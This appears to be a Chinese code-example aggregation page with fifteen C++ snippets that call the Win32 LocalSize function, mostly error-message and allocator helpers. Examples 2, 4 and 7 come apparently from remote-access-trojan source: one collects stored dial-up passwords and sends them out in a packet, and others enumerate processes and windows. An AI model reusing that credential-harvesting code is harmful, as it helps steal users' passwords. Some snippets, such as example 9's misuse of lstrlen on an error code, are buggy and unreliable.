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C++ LocalSize函数代码示例

本文整理汇总了C++中LocalSize函数的典型用法代码示例。如果您正苦于以下问题：C++ LocalSize函数的具体用法？C++ LocalSize怎么用？C++ LocalSize使用的例子？那么, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了LocalSize函数的15个代码示例，这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞，您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: SHLocalReAlloc

HLOCAL WINAPI SHLocalReAlloc(HLOCAL hOld, UINT cbNew, UINT uFlags)
{
    HLOCAL hNew;
    int cbAllocOld, cbAllocNew;

    cbAllocOld = LocalSize(hOld);
    hNew = LocalReAlloc(hOld, cbNew, uFlags);
    cbAllocNew = LocalSize(hNew);
    g_cbAlloced += (cbAllocNew-cbAllocOld);
    g_dwReallocs++;
    DebugMsg(g_fAllocMsgs, TEXT("SHLocalRealloc: %#08x %#08x \t%d"), hNew, hOld, cbAllocNew);
    return hNew;
}
开发者ID:mingpen，项目名称:OpenNT，代码行数:13，代码来源:malloc.c

示例2: lstrlen

// 继续写这个函数
void CSystemManager::SendDialupassList()
{
	CDialupass	pass;

	int	nPacketLen = 0;
	for (int i = 0; i < pass.GetMax(); i++)
	{
		COneInfo	*pOneInfo = pass.GetOneInfo(i);
		for (int j = 0; j < STR_MAX; j++)
			nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
	}

	nPacketLen += 1;
	LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
	
	DWORD	dwOffset = 1;

	for (i = 0; i < pass.GetMax(); i++)
	{

		COneInfo	*pOneInfo = pass.GetOneInfo(i);
		for (int j = 0; j < STR_MAX; j++)
		{
			int	nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
			memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
			dwOffset += nFieldLength;
		}
	}

	lpBuffer[0] = TOKEN_DIALUPASS;
	Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
	LocalFree(lpBuffer);
	
}
开发者ID:ShawnHuang，项目名称:footlocker，代码行数:35，代码来源:SystemManager.cpp

示例3: ErrorHandler

void ErrorHandler(LPTSTR lpszFunction) 
{ 
    // Retrieve the system error message for the last-error code.

    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError(); 

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL );

    // Display the error message.

    lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, 
        (lstrlen((LPCTSTR) lpMsgBuf) + lstrlen((LPCTSTR) lpszFunction) + 40) * sizeof(TCHAR)); 
    StringCchPrintf((LPTSTR)lpDisplayBuf, 
        LocalSize(lpDisplayBuf) / sizeof(TCHAR),
        TEXT("%s failed with error %d: %s"), 
        lpszFunction, dw, lpMsgBuf); 
    MessageBox(NULL, (LPCTSTR) lpDisplayBuf, TEXT("Error"), MB_OK); 

    // Free error-handling buffer allocations.

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
}
开发者ID:cassianogf，项目名称:research-center，代码行数:33，代码来源:conversor.cpp

示例4: DebugPrivilege

LPBYTE CSystemManager::getProcessList()
{
	HANDLE			hSnapshot = NULL;
	HANDLE			hProcess = NULL;
	HMODULE			hModules = NULL;
	PROCESSENTRY32	pe32 = {0};
	DWORD			cbNeeded;
	char			strProcessName[MAX_PATH] = {0};
	LPBYTE			lpBuffer = NULL;
	DWORD			dwOffset = 0;
	DWORD			dwLength = 0;
	DebugPrivilege(SE_DEBUG_NAME, TRUE);
	
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
	if(hSnapshot == INVALID_HANDLE_VALUE)
		return NULL;
	
	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
	
	lpBuffer[0] = TOKEN_PSLIST;
	dwOffset = 1;
	
	if(Process32First(hSnapshot, &pe32))
	{	  
		do
		{      
			hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
			if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4))
			{
				EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
				GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
				
				// 此进程占用数据大小
				dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
				// 缓冲区太小，再重新分配下
				if (LocalSize(lpBuffer) < (dwOffset + dwLength))
					lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
				
				memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
				dwOffset += sizeof(DWORD);	
				
				memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
				dwOffset += lstrlen(pe32.szExeFile) + 1;
				
				memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
				dwOffset += lstrlen(strProcessName) + 1;
			}
		}
		while(Process32Next(hSnapshot, &pe32));
	}
	
	lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
	
	DebugPrivilege(SE_DEBUG_NAME, FALSE); 
	CloseHandle(hSnapshot);
	return lpBuffer;	
}
开发者ID:ShawnHuang，项目名称:footlocker，代码行数:60，代码来源:SystemManager.cpp

示例5: errorExit

		void errorExit(const std::string& functionName)
		{
			// Retrieve the system error message for the last-error code

			LPVOID lpMsgBuf;
			LPVOID lpDisplayBuf;
			DWORD dw = GetLastError();

			FormatMessage(
				FORMAT_MESSAGE_ALLOCATE_BUFFER |
				FORMAT_MESSAGE_FROM_SYSTEM |
				FORMAT_MESSAGE_IGNORE_INSERTS,
				NULL,
				dw,
				MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
				(LPTSTR)&lpMsgBuf,
				0, NULL);

			// Display the error message and exit the process

			auto lpszFunctionStr = util::windowsStr(functionName);
			lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
				(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunctionStr.c_str()) + 40) * sizeof(TCHAR));
			StringCchPrintf((LPTSTR)lpDisplayBuf,
				LocalSize(lpDisplayBuf) / sizeof(TCHAR),
				TEXT("%s failed with error %d: %s"),
				lpszFunctionStr.c_str(), dw, lpMsgBuf);
			MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
			DEBUG_BREAK;

			LocalFree(lpMsgBuf);
			LocalFree(lpDisplayBuf);
			ExitProcess(dw);
		}
开发者ID:billbliss3，项目名称:Opt，代码行数:34，代码来源:windowsUtil.cpp

示例6: SWITCH_DS

void *SubAlloc(WORD wSeg, unsigned size)

/* wSeg is the global segment's selector */
{
    HANDLE  hBlock;     /* better be a stack variable */
    void    *Block;     /* better be a stack variable */
#if MEMTRACE
    WORD    RealSize = 0;/* better be a stack variable */
#endif
    SWITCH_DS(wSeg)
    hBlock = LocalAlloc (LMEM_FIXED | LMEM_NOCOMPACT, size);
    /* no point attempting compaction: everything is FIXED
       in this heap! */
    if (hBlock) {
	Block = (void*)(LPSTR)LocalLock (hBlock);
#if MEMTRACE
	RealSize = LocalSize (hBlock);
#endif
    }
    RESTORE_DS
#if MEMTRACE
    mtr[mtrx].m_func = MTR_SUBALLOC;
    mtr[mtrx].m_ptr.m_block = hBlock ? Block : NULL;
    mtr[mtrx].m_size = RealSize;
    mtr[mtrx++].m_optimseg = OptimumSeg;
#endif
    if (hBlock) return Block;       /* success ! */
    else return NULL;               /* failure!! */
} /* SubAlloc */
开发者ID:unusual-thoughts，项目名称:freebsd-1.x-ports，代码行数:29，代码来源:mswmem.c

示例7: memset

bool CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
	DWORD	dwLength = 0;
	DWORD	dwOffset = 0;
	DWORD	dwProcessID = 0;
	LPBYTE	lpBuffer = *(LPBYTE *)lParam;
	
	char	strTitle[1024];
	memset(strTitle, 0, sizeof(strTitle));
	GetWindowText(hwnd, strTitle, sizeof(strTitle));
	
	if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
		return true;
	
	
	if (lpBuffer == NULL)
		lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
	
	dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
	dwOffset = LocalSize(lpBuffer);
	
	lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
	
	GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
	memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
	
	*(LPBYTE *)lParam = lpBuffer;
	
	return true;
}
开发者ID:ShawnHuang，项目名称:footlocker，代码行数:30，代码来源:SystemManager.cpp

示例8: GetLastError

void BrainUtil::LogOutLastError(const CString& lpszFunction)
{
	// Retrieve the system error message for the last-error code

	LPVOID lpMsgBuf;
	LPVOID lpDisplayBuf;
	DWORD dw = GetLastError(); 

	if(0 == dw)
		return; // Don't need to log out the success information.

	FormatMessage(
		FORMAT_MESSAGE_ALLOCATE_BUFFER | 
		FORMAT_MESSAGE_FROM_SYSTEM |
		FORMAT_MESSAGE_IGNORE_INSERTS,
		NULL,
		dw,
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
		(LPTSTR) &lpMsgBuf,
		0, NULL );

	// Display the error message and exit the process

	lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, 
		(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); 
	StringCchPrintf((LPTSTR)lpDisplayBuf, 
		LocalSize(lpDisplayBuf) / sizeof(TCHAR),
		TEXT("%s failed with error %d: %s"), 
		(LPCTSTR)lpszFunction, dw, lpMsgBuf); 
	LogOut((LPTSTR)lpDisplayBuf, COLOR_RED);

	LocalFree(lpMsgBuf);
	LocalFree(lpDisplayBuf);
	//ExitProcess(dw); 
}
开发者ID:JeffreyZksun，项目名称:pcassist，代码行数:35，代码来源:BrainUtil.cpp

示例9: Win32ErrorToString

  std::wstring Win32ErrorToString(const DWORD dwErrorCode) {
    // Retrieve the system error message for the last-error code

    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError(); 

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL);

    // Display the error message and return in
    lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, 
        (lstrlen((LPCTSTR)lpMsgBuf) + 
        lstrlen((LPCTSTR)dwErrorCode) + 40) * sizeof(TCHAR)); 
    StringCchPrintf((LPTSTR)lpDisplayBuf, 
        LocalSize(lpDisplayBuf) / sizeof(TCHAR),
        TEXT("%s failed with error %d: %s"), 
        dwErrorCode, dw, lpMsgBuf); 
    // MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); 

    std::wstring strRet((LPTSTR)lpDisplayBuf);

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
    return strRet;
  }
开发者ID:caomw，项目名称:icp-2，代码行数:33，代码来源:string_util.cpp

示例10: GetErrorReason

// 函数功能：根据指定的错误代码，获取对应的错误描述信息
void GetErrorReason(__in const DWORD dwErrCode, __out CString & strErrMsg)
{
	// Retrieve the system error message for the last-error code
	LPVOID lpMsgBuf = NULL;
	LPVOID lpDisplayBuf = NULL;;

	FormatMessage(
		FORMAT_MESSAGE_ALLOCATE_BUFFER |
		FORMAT_MESSAGE_FROM_SYSTEM |
		FORMAT_MESSAGE_IGNORE_INSERTS,
		NULL,
		dwErrCode,
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
		(LPTSTR)&lpMsgBuf,
		0, NULL);

	// Display the error message and exit the process
	lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
		(_tcslen((LPCTSTR)lpMsgBuf) + 40)*sizeof(TCHAR));
	if (lpDisplayBuf)
	{
		StringCchPrintf((LPTSTR)lpDisplayBuf,
			LocalSize(lpDisplayBuf),
			_T("%s"),
			lpMsgBuf);
		strErrMsg.Format(_T("%s"), lpDisplayBuf);
	}

	lpMsgBuf ? LocalFree(lpMsgBuf) : 0;
	lpDisplayBuf ? LocalFree(lpDisplayBuf) : 0;
}
开发者ID:ccpwcn，项目名称:QuickSearch，代码行数:32，代码来源:CommonModule.cpp

示例11: ErrorExit

void ErrorExit(HANDLE hContact,LPTSTR lpszFunction) 
{ 
    // Retrieve the system error message for the last-error code

    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError(); 

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_GERMAN, SUBLANG_GERMAN),
        (LPTSTR) &lpMsgBuf,
        0, NULL );

    // Display the error message and exit the process

    lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, 
        (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); 
    StringCchPrintf((LPTSTR)lpDisplayBuf, 
        LocalSize(lpDisplayBuf) / sizeof(TCHAR),
        TEXT("%s failed with error %d: %s"), 
        lpszFunction, dw, lpMsgBuf); 
    ShowDebugPopup(hContact,TEXT("Error"),  (LPCTSTR)lpDisplayBuf); 

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
}
开发者ID:Robyer，项目名称:miranda-plugins，代码行数:31，代码来源:AvatarHistory.cpp

示例12: PrintLoadError

void PrintLoadError(const char* so_name)
{
    // Retrieve the system error message for the last-error code
    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError();

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL );

    // Display the error message and exit the process
    lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
        (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)so_name) + 40) * sizeof(TCHAR));
    _snprintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR),
        TEXT("error loading %s err = %s"), so_name, lpMsgBuf);

    jack_error((LPCTSTR)lpDisplayBuf);

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
}
开发者ID:arthurtofani，项目名称:ensemble，代码行数:28，代码来源:JackTools.cpp

示例13: _ValidateLocalMem

UINT _ValidateLocalMem(HLOCAL hMem, LPARAM lParam, LPCSTR pszText)
{
    UINT uByte = 0;
    if (hMem)
    {
	UINT uSize = LocalSize(hMem);
	if (uSize)
	{
	    LPARAM lParamStored;
	    uByte = *(UINT*)HMEM2PTR(hMem, uSize-sizeof(UINT));
	    AssertMsg(uByte+CBALLOCEXTRA <= uSize,
		      "cm ASSERT! Bogus uByte %d (%s for %x)",
		      uByte, pszText, hMem);
	    lParamStored = *(LPARAM*)HMEM2PTR(hMem, uByte);
	    AssertMsg(lParamStored==lParam, "cm ASSERT! Bad Signiture %x (%s for %x)",
		      lParamStored, pszText, hMem);
	}
	else
	{
	    AssertMsg(0, "cm ASSERT! LocalSize is zero (%s for %x)",
		      pszText, hMem);
	}
    }
    return uByte;
}
开发者ID:mingpen，项目名称:OpenNT，代码行数:25，代码来源:deballoc.c

示例14: ErrorExit

/**
	@brief	This function is pretty much straight from http://msdn.microsoft.com/en-us/library/windows/desktop/ms680582(v=vs.85).aspx
	@note	It is edited for console output, but thats about it.
	
	@param[in]	lpszFunction - The function that failed.
	@param[in]	lpAdditionalHelp - Any sort of additional information that might be useful for the user.
	
	@return	Nothing, execution does not return from this function.
	
	@private
**/
void ErrorExit(LPTSTR lpszFunction, LPCSTR lpAdditionalHelp) 
{ 
    // Retrieve the system error message for the last-error code
    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError(); 

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL );

    // Display the error message and exit the process

    lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, 
        (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); 
    StringCchPrintf((LPTSTR)lpDisplayBuf, 
        LocalSize(lpDisplayBuf) / sizeof(TCHAR),
        TEXT("ERROR: %s failed with error %d: %s"), 
        lpszFunction, dw, lpMsgBuf); 
    //MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);

	wprintf((LPWSTR)lpDisplayBuf);
	if(lpAdditionalHelp != NULL)
		printf("ADDITIONAL HELP: %s\n",lpAdditionalHelp);

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
    ExitProcess(dw);
}
开发者ID:armalux，项目名称:injex，代码行数:46，代码来源:injex.cpp

示例15: GetStdHandle

/*{
	DWORD dwRead, dwWritten;
	CHAR chBuf[BUFSIZE];
	BOOL bSuccess = FALSE;
	HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

	for (;;)
	{
		bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL);
		if (!bSuccess || dwRead == 0) break;

		bSuccess = WriteFile(hParentStdOut, chBuf,
			dwRead, &dwWritten, NULL);
		if (!bSuccess) break;
	}
}
*/
void ErrorExit(PTSTR lpszFunction)

// Format a readable error message, display a message box, 
// and exit from the application.
{
	LPVOID lpMsgBuf;
	LPVOID lpDisplayBuf;
	DWORD dw = GetLastError();

	FormatMessage(
		FORMAT_MESSAGE_ALLOCATE_BUFFER |
		FORMAT_MESSAGE_FROM_SYSTEM |
		FORMAT_MESSAGE_IGNORE_INSERTS,
		NULL,
		dw,
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
		(LPTSTR)&lpMsgBuf,
		0, NULL);

	lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
		(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40)*sizeof(TCHAR));
	StringCchPrintf((LPTSTR)lpDisplayBuf,
		LocalSize(lpDisplayBuf) / sizeof(TCHAR),
		TEXT("%s failed with error %d: %s"),
		lpszFunction, dw, lpMsgBuf);
	MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);

	LocalFree(lpMsgBuf);
	LocalFree(lpDisplayBuf);
	ExitProcess(1);
}
开发者ID:MonkeyDied，项目名称:libplot，代码行数:48，代码来源:basic.cpp


注：本文中的LocalSize函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台，相关代码片段筛选自各路编程大神贡献的开源项目，源码版权归原作者所有，传播和使用请参考对应项目的License；未经允许，请勿转载。